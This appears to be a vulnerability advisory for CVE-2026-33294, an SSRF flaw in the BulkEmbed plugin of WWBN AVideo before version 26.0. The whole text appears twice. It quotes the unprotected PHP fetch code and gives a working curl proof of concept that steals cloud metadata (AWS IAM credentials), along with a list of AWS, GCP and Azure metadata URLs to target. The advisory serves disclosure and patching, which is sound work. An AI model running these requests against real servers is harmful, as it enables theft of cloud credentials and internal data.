CVE-2026-33294

WWBN AVideo is an open source video platform. Prior to version 26.0, the BulkEmbed plugin's save endpoint (plugin/BulkEmbed/save.json.php) fetches user-supplied thumbnail URLs via url_get_contents() without SSRF protection. Unlike all six other URL-fetching endpoints in AVideo that were hardened with isSSRFSafeURL(), this code path was missed. An authenticated attacker can force the server to make HTTP requests to internal network resources and retrieve the responses by viewing the saved video thumbnail. Version 26.0 fixes the issue.

WWBN AVideo is an open source video platform. Prior to version 26.0, the BulkEmbed plugin's save endpoint (plugin/BulkEmbed/save.json.php) fetches user-supplied thumbnail URLs via url_get_contents() without SSRF protection. Unlike all six other URL-fetching endpoints in AVideo that were hardened with isSSRFSafeURL(), this code path was missed. An authenticated attacker can force the server to make HTTP requests to internal network resources and retrieve the responses by viewing the saved video thumbnail. Version 26.0 fixes the issue.

Summary

The BulkEmbed plugin's save endpoint (plugin/BulkEmbed/save.json.php) fetches user-supplied thumbnail URLs via url_get_contents() without SSRF protection. Unlike all six other URL-fetching endpoints in AVideo that were hardened with isSSRFSafeURL(), this code path was missed. An authenticated attacker can force the server to make HTTP requests to internal network resources and retrieve the responses by viewing the saved video thumbnail.

Details

When saving bulk-embedded videos, user-supplied thumbnail URLs from $_POST['itemsToSave'][x]['thumbs'] flow directly into url_get_contents() with no SSRF validation:

plugin/BulkEmbed/save.json.php:68-105

foreach ($_POST['itemsToSave'] as $value) {
    foreach ($value as $key => $value2) {
        $value[$key] = xss_esc($value2);  // HTML entity encoding — irrelevant for SSRF
    }
    // ...
    $poster = Video::getPathToFile("{$paths['filename']}.jpg");
    $thumbs = $value['thumbs'];              // ← attacker-controlled URL
    if (!empty($thumbs)) {
        $contentThumbs = url_get_contents($thumbs);  // ← fetched without SSRF check
        if (!empty($contentThumbs)) {
            make_path($poster);
            $bytes = file_put_contents($poster, $contentThumbs);  // ← response saved to disk
        }
    }
    // ...
    $videos->setStatus('a');  // ← video set to active, thumbnail publicly accessible

The url_get_contents() function internally calls isValidURLOrPath() which only validates URL format (scheme, host presence) — it does not block requests to private IPs, localhost, or cloud metadata endpoints.

All other URL-fetching endpoints are protected. The isSSRFSafeURL() function is called in:

• plugin/Scheduler/Scheduler.php
• plugin/LiveLinks/proxy.php (two call sites)
• plugin/AI/receiveAsync.json.php
• objects/aVideoEncoder.json.php
• objects/aVideoEncoderReceiveImage.json.php

BulkEmbed is the only URL-fetching endpoint that was not hardened.

This is a full-read SSRF, not blind — the HTTP response body is written to disk as the video thumbnail and served to the attacker when they view the video poster image.

PoC

Prerequisites: Authenticated session with BulkEmbed permission. The onlyAdminCanBulkEmbed option defaults to true (line 41 of BulkEmbed.php), but is commonly disabled for multi-user platforms.

Step 1: Authenticate and obtain session cookie

COOKIE=$(curl -s -c - "http://avideo.local/user" \
  -d "user=testuser&pass=testpass&redirectUri=/" | grep PHPSESSID | awk '{print $NF}')

Step 2: Send BulkEmbed save request with internal URL as thumbnail

curl -s -b "PHPSESSID=$COOKIE" \
  "http://avideo.local/plugin/BulkEmbed/save.json.php" \
  -d "itemsToSave[0][title]=SSRF+Test" \
  -d "itemsToSave[0][description]=test" \
  -d "itemsToSave[0][duration]=PT1M" \
  -d "itemsToSave[0][link]=https://www.youtube.com/watch?v=dQw4w9WgXcQ" \
  -d "itemsToSave[0][thumbs]=http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
  -d "itemsToSave[0][date]="

Expected response:

{"error":false,"msg":[{"video":{...},"value":{...},"videos_id":123}],"playListId":0}

Step 3: Retrieve the SSRF response from the saved thumbnail

# Extract the filename from the response, then fetch the poster image
curl -s "http://avideo.local/videos/{filename}.jpg"

The content of the internal HTTP response (e.g., AWS IAM role names from the metadata service) is returned as the image file content.

Cloud metadata example targets:

• http://169.254.169.254/latest/meta-data/iam/security-credentials/ — AWS IAM role names
• http://169.254.169.254/latest/meta-data/iam/security-credentials/{role} — temporary AWS credentials
• http://metadata.google.internal/computeMetadata/v1/ — GCP metadata (requires header, may not work)
• http://169.254.169.254/metadata/instance?api-version=2021-02-01 — Azure instance metadata …

WWBN AVideo is an open source video platform. Prior to version 26.0, the BulkEmbed plugin's save endpoint (plugin/BulkEmbed/save.json.php) fetches user-supplied thumbnail URLs via url_get_contents() without SSRF protection. Unlike all six other URL-fetching endpoints in AVideo that were hardened with isSSRFSafeURL(), this code path was missed. An authenticated attacker can force the server to make HTTP requests to internal network resources and retrieve the responses by viewing the saved video thumbnail. Version 26.0 fixes the issue.

WWBN AVideo is an open source video platform. Prior to version 26.0, the BulkEmbed plugin's save endpoint (plugin/BulkEmbed/save.json.php) fetches user-supplied thumbnail URLs via url_get_contents() without SSRF protection. Unlike all six other URL-fetching endpoints in AVideo that were hardened with isSSRFSafeURL(), this code path was missed. An authenticated attacker can force the server to make HTTP requests to internal network resources and retrieve the responses by viewing the saved video thumbnail. Version 26.0 fixes the issue.

Summary

The BulkEmbed plugin's save endpoint (plugin/BulkEmbed/save.json.php) fetches user-supplied thumbnail URLs via url_get_contents() without SSRF protection. Unlike all six other URL-fetching endpoints in AVideo that were hardened with isSSRFSafeURL(), this code path was missed. An authenticated attacker can force the server to make HTTP requests to internal network resources and retrieve the responses by viewing the saved video thumbnail.

Details

When saving bulk-embedded videos, user-supplied thumbnail URLs from $_POST['itemsToSave'][x]['thumbs'] flow directly into url_get_contents() with no SSRF validation:

plugin/BulkEmbed/save.json.php:68-105

foreach ($_POST['itemsToSave'] as $value) {
    foreach ($value as $key => $value2) {
        $value[$key] = xss_esc($value2);  // HTML entity encoding — irrelevant for SSRF
    }
    // ...
    $poster = Video::getPathToFile("{$paths['filename']}.jpg");
    $thumbs = $value['thumbs'];              // ← attacker-controlled URL
    if (!empty($thumbs)) {
        $contentThumbs = url_get_contents($thumbs);  // ← fetched without SSRF check
        if (!empty($contentThumbs)) {
            make_path($poster);
            $bytes = file_put_contents($poster, $contentThumbs);  // ← response saved to disk
        }
    }
    // ...
    $videos->setStatus('a');  // ← video set to active, thumbnail publicly accessible

The url_get_contents() function internally calls isValidURLOrPath() which only validates URL format (scheme, host presence) — it does not block requests to private IPs, localhost, or cloud metadata endpoints.

All other URL-fetching endpoints are protected. The isSSRFSafeURL() function is called in:

• plugin/Scheduler/Scheduler.php
• plugin/LiveLinks/proxy.php (two call sites)
• plugin/AI/receiveAsync.json.php
• objects/aVideoEncoder.json.php
• objects/aVideoEncoderReceiveImage.json.php

BulkEmbed is the only URL-fetching endpoint that was not hardened.

This is a full-read SSRF, not blind — the HTTP response body is written to disk as the video thumbnail and served to the attacker when they view the video poster image.

PoC

Prerequisites: Authenticated session with BulkEmbed permission. The onlyAdminCanBulkEmbed option defaults to true (line 41 of BulkEmbed.php), but is commonly disabled for multi-user platforms.

Step 1: Authenticate and obtain session cookie

COOKIE=$(curl -s -c - "http://avideo.local/user" \
  -d "user=testuser&pass=testpass&redirectUri=/" | grep PHPSESSID | awk '{print $NF}')

Step 2: Send BulkEmbed save request with internal URL as thumbnail

curl -s -b "PHPSESSID=$COOKIE" \
  "http://avideo.local/plugin/BulkEmbed/save.json.php" \
  -d "itemsToSave[0][title]=SSRF+Test" \
  -d "itemsToSave[0][description]=test" \
  -d "itemsToSave[0][duration]=PT1M" \
  -d "itemsToSave[0][link]=https://www.youtube.com/watch?v=dQw4w9WgXcQ" \
  -d "itemsToSave[0][thumbs]=http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
  -d "itemsToSave[0][date]="

Expected response:

{"error":false,"msg":[{"video":{...},"value":{...},"videos_id":123}],"playListId":0}

Step 3: Retrieve the SSRF response from the saved thumbnail

# Extract the filename from the response, then fetch the poster image
curl -s "http://avideo.local/videos/{filename}.jpg"

The content of the internal HTTP response (e.g., AWS IAM role names from the metadata service) is returned as the image file content.

Cloud metadata example targets:

• http://169.254.169.254/latest/meta-data/iam/security-credentials/ — AWS IAM role names
• http://169.254.169.254/latest/meta-data/iam/security-credentials/{role} — temporary AWS credentials
• http://metadata.google.internal/computeMetadata/v1/ — GCP metadata (requires header, may not work)
• http://169.254.169.254/metadata/instance?api-version=2021-02-01 — Azure instance metadata …